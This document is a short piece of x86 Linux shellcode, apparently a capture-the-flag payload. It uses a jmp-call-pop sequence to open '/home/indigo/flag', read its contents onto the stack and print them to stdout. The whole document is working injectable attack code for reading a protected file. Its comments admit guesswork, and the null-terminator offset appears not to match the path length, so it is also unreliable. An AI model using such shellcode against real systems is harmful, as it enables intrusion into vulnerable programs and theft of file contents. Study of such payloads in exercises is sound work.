global _start _start: jmp short data str_found: xor eax, eax mov al, 5 ;sys_open xor ecx, ecx ; arg2 xor edx, edx ; #/usr/include/asm-generic/fcntl.h includes define O_RDONLY 00000000 pop ebx mov [ebx + 18], ecx ; arg1 int 0x80 ;eax now contains our file descriptor. mov ebx, eax mov al, 3 ;sys_read mov ecx, esp ;I think? xor edx, edx mov dl, 0xff ;eh, random guess I guess int 0x80 mov al, 4 xor ebx, ebx mov bl, 1 mov ecx, esp ;dl stays the same int 0x80 data: call str_found db "/home/indigo/flag"